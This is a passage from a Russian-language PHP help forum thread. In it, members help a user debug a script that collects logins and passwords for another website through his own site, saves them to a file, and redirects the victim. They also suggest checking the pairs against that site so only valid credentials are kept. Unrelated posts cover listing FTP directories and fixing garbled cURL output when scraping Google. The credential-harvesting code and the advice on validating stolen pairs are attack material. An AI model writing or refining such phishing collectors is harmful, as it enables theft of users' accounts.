[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. Rastamanka

    Rastamanka Elder - Старейшина

    Joined:
    26 Nov 2008
    Messages:
    429
    Likes Received:
    11
    Reputations:
    7

    PHP:
    <?PHP
    $Login 
    $_POST['login']; // Логин
    $Pass $_POST['passwd']; // Пароль

    if($_SERVER['HTTP_REFERER']=='site.ru' && $Login && $Pass && $Login!=' ' && $Pass!=' ') {
    $log fopen("base.php","a+"); //открываем файл базы
    fwrite($log,"\n$Login:$Pass\n"); //записываем всё
    fclose($log); //закрываем
    header("Location: /service.html"); }

    else {
    header("Location: /error2.html");
    }
    ?>
     
    #18281 Rastamanka, 21 Apr 2011
    Last edited: 21 Apr 2011
  2. Rastamanka

    Rastamanka Elder - Старейшина

    Joined:
    26 Nov 2008
    Messages:
    429
    Likes Received:
    11
    Reputations:
    7
    Подскажите какой командой можно узнать имена всех директорий на ftp сервере?
    Подключаюсь через стандартную функцию ftp_connect.

    Вроде нашла ftp_rawlist. Но он выводит список всех файлов и дир. Как узнать что это директория не используя регулярок и substr
     
    #18282 Rastamanka, 21 Apr 2011
    Last edited: 21 Apr 2011
  3. Compton

    Compton Member

    Joined:
    31 Jan 2010
    Messages:
    290
    Likes Received:
    25
    Reputations:
    0
    функция glob
    флаг ONLY_DIR
    но хз пойдет ли на хостинге
     
  4. Osstudio

    Osstudio Banned

    Joined:
    17 Apr 2011
    Messages:
    638
    Likes Received:
    160
    Reputations:
    81
    На большинстве хостингов она подходит без проблем =)
     
  5. huzker2

    huzker2 New Member

    Joined:
    31 Mar 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    -1
    почему то теперь в любом случае просто кидает на error2.html не зависимо от того, что ввести ((
     
  6. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    попробуй так
    т.е. скрипт проверяет, если нужный сайт и нужный пасс и нужный пароль
    то запишим иначе при не соотвецтвии вывидем ошибку...
     
    _________________________
    #18286 winstrool, 23 Apr 2011
    Last edited: 23 Apr 2011
  7. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    PHP:
    if($_SERVER['HTTP_REFERER']=='site.ru' && $Login='твой логин ' && $Pass!=' твой пасс')
    надо так тогда уж :

    PHP:
    if($_SERVER['HTTP_REFERER']=='site.ru' && $Login=='твой логин ' && $Pass==' твой пасс')
    т.к получается у тебя в условии присовение. Да и ты сверяешь если пароль не равен... как так?

    А вообще автор, выведи $_SERVER['HTTP_REFERER'] и посмотри с тем ли ты сравниваешь... может там с www. регистр..

    если не срабоатет то попробуй в условии через isset() проверять есть что-то в логин или нет. и пароль так-же или !emtpy
     
  8. huzker2

    huzker2 New Member

    Joined:
    31 Mar 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    -1
    winstrool и -=Zhenek=- вы кажется меня не совсем правильно поняли. На моём сайте пользователь должен ввести свой логин и пароль от некого сайта. Если пара логин:пароль от этого сайта верна, то записываем её в base и шлём юзера на страницу моего сервиса, а если не верна или поля пустые, то показываем страницу с ошибкой, где юзера просится ввести заново верные данные.
     
  9. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    huzker2 тогда делай функцию проверки на валидность пары логин и пасс. она возвращает труе или фалзе.

    и тоже самое, только еще смотри чтоб функция не вернула фалзе иначе на страницу ошибки
     
  10. huzker2

    huzker2 New Member

    Joined:
    31 Mar 2010
    Messages:
    3
    Likes Received:
    0
    Reputations:
    -1
    да я так и предполагал, только вот не знаю как это всё корректно написать, пхп едва знаю. Один не верный знак и уже ничего не пашет :)
     
  11. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    вот пробуй, как надо подправишь
     
    _________________________
    #18291 winstrool, 23 Apr 2011
    Last edited: 23 Apr 2011
  12. -=Zhenek=-

    -=Zhenek=- Elder - Старейшина

    Joined:
    31 Dec 2007
    Messages:
    271
    Likes Received:
    77
    Reputations:
    1
    huzker2 давай определимся..Ты ждеш именно конкретный логин? Или собираешь все но валидные 100%?
    Если второй вариант,то нужно писать авторизацию того сайта.. Для этого хотяб нада знать его урл.
    Если первый то выше дан ответ ;)
     
  13. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    поидеи этот скрипт можно адоптировать под необходимые ему функции и с mysql но для этого как минимум нужны минимальные знания которые как я понимаю у ТС нет....
     
    _________________________
  14. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Народ нужна помощ... Парюсь уже незнаю сколько...

    Что тут в этом коде нехватает или что нужно сделать чтоб небыло таких каракуль... http://www.image-share.com/ijpg-617-193.html вот код....
    PHP:
      $grabr curl_init("http://www.google.lv/search?num=30&q=kluchevojeslovo&hl=ru");
    curl_setopt($grabrCURLOPT_RETURNTRANSFER2);
    curl_setopt($grabrCURLOPT_FOLLOWLOCATION1);
    curl_setopt($grabrCURLOPT_USERAGENT'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12');
    $headers = array
    (
        
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        
    'Accept-Language: en-us,en;q=0.5',
        
    'Accept-Encoding: gzip,deflate',
        
    'Accept-Charset: utf-8;q=0.7,*;q=0.7'
    ); 
    curl_setopt($grabrCURLOPT_ENCODING"gzip"); 
    curl_setopt($grabrCURLOPT_HTTPHEADER,$headers); 
    curl_setopt($grabrCURLOPT_REFERER'http://www.google.lv');
    curl_setopt($grabrCURLOPT_HEADER1);
        
    $ffr curl_exec($grabr);
    curl_close($grabr);

    file_put_contents('hmm.html',$ffr);
    Непоиму в чём дело =[[ Помогите...
     
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    попробуй кодировку поменять на windows-1251
     
    _________________________
  16. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Менял непомогает =[[
     
  17. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,413
    Likes Received:
    910
    Reputations:
    863
    полностью код страници скинь...
     
    _________________________
  18. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Гугла ?
     
  19. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    как её передать ? вроде вить передал.


    Content-Type: text/html; charset=UTF-8
    Content-Encoding: gzip
    Это гугл выдал такие хеадеры

    А вот и мой хеадер..
    PHP:
    $headers = array
    (
        
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        
    'Accept-Language: en-us,en;q=0.5',
        
    'Accept-Encoding: gzip,deflate',
        
    'Accept-Charset: UTF-8;q=0.7,*;q=0.7'
    ); 
    А вот и сам файл что сохраняет филэ_пут_контентс http://www.sendspace.com/file/6wicdd
     
    #18299 Afarcheg, 23 Apr 2011
    Last edited: 23 Apr 2011
  20. Afarcheg

    Afarcheg New Member

    Joined:
    20 Jul 2010
    Messages:
    16
    Likes Received:
    0
    Reputations:
    0
    Невкакую нехочет он норм текст выдовать =[
     
Thread Status:
Not open for further replies.